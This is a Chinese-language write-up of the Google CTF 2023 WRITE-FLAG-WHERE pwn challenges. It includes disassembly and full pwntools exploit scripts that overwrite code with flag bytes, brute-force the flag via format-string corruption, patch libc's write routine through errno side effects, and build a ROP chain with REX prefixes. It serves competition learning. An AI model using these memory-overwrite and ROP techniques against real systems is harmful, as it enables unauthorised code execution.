WRITE-FLAG-WHERE 本地调试的话Maximum number of open file descriptors最高到1024,所以把dup2 patch为小于1024的值或者修改/etc/security/limits.conf把限制调高
grxer@Ubuntu22 ~> ulimit -a Maximum size of core files created                            (kB, -c)  0 Maximum size of a process’s data segment                      (kB, -d)  unlimited Maximum size of files created by the shell                    (kB, -f)  unlimited Maximum size that may be locked into memory                   (kB, -l)  628848 Maximum resident set  size                                     (kB, -m)  unlimited Maximum number of open file descriptors                           (-n)  1024 Maximum stack  size                                            (kB, -s)  8192 Maximum amount of cpu time in seconds                    (seconds, -t)  unlimited Maximum number of processes available to a single user            (-u)  19340 Maximum amount of virtual memory available to the shell       (kB, -v)  unlimited 
把下面丢弃流给nop掉
v8 = open("/dev/null" , 2 ); dup2(v8, 0 ); dup2(v8, 1 ); dup2(v8, 2 ); close(v8); 
/dev/null 是 Unix-like 操作系统中的一个特殊文件,用作数据的位桶或黑洞。它通常被称为 “null 设备”,因为写入到它的任何数据都会被丢弃,不会产生任何影响。
 
程序给了进程的maps和往进程任意地址写flag的机会,所以只需要改下某位置可以让flag输出即可
把while循环里的dprintf的地址写入flag即可
from  pwn import  *context.clear(arch='amd64' , os='linux' , log_level='debug' ) sh=process('./chal_patch' ) gdb.attach(sh) sh.recvuntil(b'have a shot.\n' ) image_addr = int (sh.recvuntil(b'-' , drop=True ), 16 ) success('image_addr: '  + hex (image_addr)) print ('0x%lx %u'  % (image_addr+0x21e0 , 80 ))sh.sendline(('0x%lx %u'  % (image_addr+0x21e0 , 80 )).encode()) sh.interactive() 
WRITE-FLAG-WHERE2 逻辑差不多只是dprintf跑到了exit的下面
.text:0000000000001440  E8 8B  FC FF FF                call    _exit .text:0000000000001440  .text:0000000000001445                                ; --------------------------------------------------------------------------- .text:0000000000001445  8B  45  F4                      mov     eax, [rbp+var_C] .text:0000000000001448  48  8 D 15  86  0 C 00  00           lea     rdx, aSomehowYouGotH            ; "Somehow you got here??\n"  .text:000000000000144F  48  89  D6                      mov     rsi, rdx                        ; fmt .text:0000000000001452  89  C7                         mov     edi, eax                        ; fd .text:0000000000001454  B8 00  00  00  00                 mov     eax, 0  .text:0000000000001459  E8 32  FC FF FF                call    _dprintf .text:0000000000001459  .text:000000000000145 E E8 CD FB FF FF                call    _abort 
我们可以利用flag的格式是CTF{}
>>> hex(ord('C' )) '0x43' >>> hex(ord('T' )) '0x54' >>> hex(ord('F' )) '0x46' >>> hex(ord('{' )) '0x7b' >>> hex(ord('}' )) '0x7d' 
54 (T)    push rsp 43  54 (CT)    push r12
可以利用push指令改写跳过exit,从后往前写CT,用前一个T覆盖后一个C,即为CTTTT,再改写输出flag即可
from pwn import * context.clear(arch='amd64' , os='linux' , log_level='debug' ) io = remote('wfw2.2023.ctfcompetition.com' , 1337 ) # io=process('./chal_patch' ) # gdb.attach(io) io.recvuntil(b'  the fluff\n' ) image_addr = int (io.recvuntil(b' -', drop=True), 16)  success(' image_addr: ' + hex(image_addr)) io.recvuntil(b' [vsyscall]\n' )sleep(0.5 ) for  i in range(4 ):    io.sendline(('0x%lx %u' %(image_addr+0x1443 -i,2 )).encode())     sleep(1 ) io.sendline(('0x%lx %u'  % (image_addr+0x20D5 , 80 )).encode()) io.sendline('grxer' ) io.interactive() 
从c0ke师傅周报那里偷学了一手爆破
思路就是修改if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &n[1], n) != 2 || n[0] > 0x7Fu )中0x%llx %u的0为flag中的一位值,下一次输入时以猜测的flag值+x%llx %u的格式来发送数据,如果不是正确的数据就会无法解析数据 (unsigned int)__isoc99_sscanf(buf, “0x%llx %u”, &n[1], n) != 2程序退出,否则正常下一次读入
from pwn import * context.clear(arch='amd64' , os='linux' , log_level='debug' ) def leak (offset, chr) :         sh = remote('wfw2.2023.ctfcompetition.com' , 1337 )                  sh.recvuntil(b'f luff\n' )         image_addr = int (sh.recvuntil(b' -', drop=True), 16)          sh.recvuntil(b' \n\n\n' )        sh.send(('0x%lx %u\n'  % (image_addr+0x20BC -offset, offset+1 )).encode().ljust(0x40 , b'0' ))         sh.send(('%cx%lx %u\n'  % (chr, image_addr, 0 )).encode().ljust(0x40 , b'0' ))         try:                 sh.recvn(1 , timeout=1 )                 sh.close()                 return  True         except EOFError:                sh.close()                 return  False table = '_{}?'  + string .digits + string .ascii_lowercase + string .ascii_uppercase flag = ''  while(True):         find = False         for chr in table:                 if leak(len(flag), chr):                         find = True                         flag += chr                         print(flag)                         break     if not find:               print(flag)                       break 
WRITE-FLAG-WHERE3 多了改写位置的判断|| *(_QWORD *)&n[1] >= (unsigned __int64)main - 20480 && (unsigned __int64)main + 20480 >= *(_QWORD *)&n[1] )
不能是main-20480到main+20480之间,只能时libc和栈区
Ex师傅的思路就是改write的的第一个参数
.text:0000000000114 A20 .text:0000000000114 A20                               fd= qword ptr -20 h .text:0000000000114 A20                               buf= qword ptr -18 h .text:0000000000114 A20                               count= qword ptr -10 h .text:0000000000114 A20 F3 0F  1 E FA                   endbr64                                 ; Alternative name is '__write'  .text:0000000000114 A24 64  8B  04  25  18  00  00  00        mov     eax, fs:18 h .text:0000000000114 A2C 85  C0                         test    eax, eax .text:0000000000114 A2E 75  10                          jnz     short  loc_114A40 .text:0000000000114 A2E .text:0000000000114 A30 B8 01  00  00  00                 mov     eax, 1  .text:0000000000114 A35 0F  05                          syscall                                 ; LINUX - sys_write .text:0000000000114 A37 48  3 D 00  F0 FF FF             cmp     rax, 0F FFFFFFFFFFFF000h .text:0000000000114 A3D 77  51                          ja      short  loc_114A90 .text:0000000000114 A3D .text:0000000000114 A3F C3                            retn .text:0000000000114 A3F .text:0000000000114 A40                               ; --------------------------------------------------------------------------- .text:0000000000114 A40 .text:0000000000114 A40                               loc_114A40:                             ; CODE XREF: write+E↑j .text:0000000000114 A40 48  83  EC 28                    sub     rsp, 28 h .text:0000000000114 A44 48  89  54  24  18                 mov     [rsp+28 h+count], rdx .text:0000000000114 A49 48  89  74  24  10                 mov     [rsp+28 h+buf], rsi .text:0000000000114 A4E 89  7 C 24  08                    mov     dword ptr [rsp+28 h+fd], edi .text:0000000000114 A52 E8 19  C0 F7 FF                call    sub_90A70 .text:0000000000114 A52 .text:0000000000114 A57 48  8B  54  24  18                 mov     rdx, [rsp+28 h+count]            ; count .text:0000000000114 A5C 48  8B  74  24  10                 mov     rsi, [rsp+28 h+buf]              ; buf .text:0000000000114 A61 41  89  C0                      mov     r8d, eax .text:0000000000114 A64 8B  7 C 24  08                    mov     edi, dword ptr [rsp+28 h+fd]     ; fd .text:0000000000114 A68 B8 01  00  00  00                 mov     eax, 1  .text:0000000000114 A6D 0F  05                          syscall                                 ; LINUX - sys_write .text:0000000000114 A6F 48  3 D 00  F0 FF FF             cmp     rax, 0F FFFFFFFFFFFF000h .text:0000000000114 A75 77  31                          ja      short  loc_114AA8 .text:0000000000114 A75 .text:0000000000114 A77 .text:0000000000114 A77                               loc_114A77:                             ; CODE XREF: write+9B ↓j .text:0000000000114 A77 44  89  C7                      mov     edi, r8d 
首先我们需要控制fs:18h不为0,但是我们又不能直接控制fs:18,我们只能填写0x43,有些系统调用在出错设置errno时会根据errno在got里的值将出错码写入fsbase+*errno_got的位置
所以可以故意调用出错控制fs:0x43位置的值不为0,然后 mov     eax, fs:18h改为mov     eax, fs:43h绕过
ida导出表里找到errno,再ctrl x找交叉引用就可以找到errno got表位置为0x218E10
 
参数就是从这里来的.text:0000000000114A64 8B 7C 24 08                   mov     edi, dword ptr [rsp+28h+fd]也就是rsp+8的位置
我们可以改为rsp+0x43,这样就可以提前用main函数里的 v7 = read(v8, buf, 0x40uLL);来布置好参数为我们想要的1337
直接贴一下Ex师傅的exp吧
from pwn import * context.clear(arch='amd64' , os='linux' , log_level='debug' ) sh = remote('wfw3.2023.ctfcompetition.com' , 1337 ) result = sh.recvuntil(b'. so' ).split(b' \n' )[-1 ] libc_addr = int (result[:12 ], 16 ) success('libc_addr: '  + hex(libc_addr)) sh.recvuntil(b' \n\n\n' ) #errnogot表里一般是0xffffffffffffff80,只能修改一个字节为C,所以先用0去填充 sh.send(('0x%lx %u\n'  % (libc_addr + 0x218e10 -0x70 , 0x78 )).encode().ljust(0x40 , b' \0' )) sh.send(('0x%lx %u\n'  % (libc_addr + 0x218e10 , 1 )).encode().ljust(0x40 , b' \0' )) #让close系统调用号变为0x43 ,即shmdt,参数不合法会导致出错设置errno sh.send(('0x%lx %u\n'  % (libc_addr + 0x115110 +1 , 1 )).encode().ljust(0x40 , b' \0' )) #修改write的mov     eax, fs:18 h为mov     eax, fs:43 h sh.send(('0x%lx %u\n'  % (libc_addr + 0x114A28 , 1 )).encode().ljust(0x40 , b' \0' )) #把write第一个参数改为esp+0x43  sh.send(('0x%lx %u\n'  % (libc_addr + 0x114A67 , 1 )).encode().ljust(0x40 , b' \0' )) sh.send(('0x%lx %u\n'  % (0 , 0x70 )).encode().ljust(0x13 , b' \0' ) + p32(1337 )) sh.interactive() 
另一种解法是利用指令前缀0x43来操作exit函数
REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。 
 
.text:00000000000455F 0                               ; __unwind { .text:00000000000455F 0 F3 0F  1 E FA                   endbr64 .text:00000000000455F 4 50                             push    rax .text:00000000000455F 5 58                             pop     rax .text:00000000000455F 6 B9 01  00  00  00                 mov     ecx, 1  .text:00000000000455F B BA 01  00  00  00                 mov     edx, 1  .text:0000000000045600  48  8 D 35  31  42  1 D 00           lea     rsi, off_219838 .text:0000000000045607  48  83  EC 08                    sub     rsp, 8  .text:000000000004560B  E8 80  FD FF FF                call    sub_45390 .text:000000000004560B                                ; }                                                            .text:000000000004560B  .text:000000000004560B                                exit  endp .text:000000000004560B  .text:0000000000045610  .text:0000000000045610                                ; =============== S U B R O U T I N E ======================================= .text:0000000000045610  .text:0000000000045610  .text:0000000000045610                                public on_exit ; weak .text:0000000000045610                                on_exit proc near                       ; DATA XREF: LOAD:000000000000B 550↑o .text:0000000000045610                                ; __unwind { .text:0000000000045610  F3 0F  1 E FA                   endbr64 .text:0000000000045614  41  54                          push    r12 .text:0000000000045616  55                             push    rbp .text:0000000000045617  53                             push    rbp .text:0000000000045618  48  85  FF                      test    rdi, rdi .......... .text:0000000000045679                                loc_45679:                              ; CODE XREF: on_exit+8 E↓j .text:0000000000045679                                                                        ; on_exit+98 ↓j .text:0000000000045679  44  89  E0                      mov     eax, r12d .text:000000000004567 C 5B                             pop     rbx .text:000000000004567 D 5 D                            pop     rbp .text:000000000004567 E 41  5 C                         pop     r12 .text:0000000000045680  C3                            retn 
push    rbp  push    rbp任意一个改为指令前缀都会导致后面多pop一个参数,retn时正好时我们main函数里输入buf的位置,可以结合基地址进行rop
参考链接 http://blog.xmcve.com/2023/06/26/Google-CTF-2023-Writeup/ 
https://zhuanlan.zhihu.com/p/639991243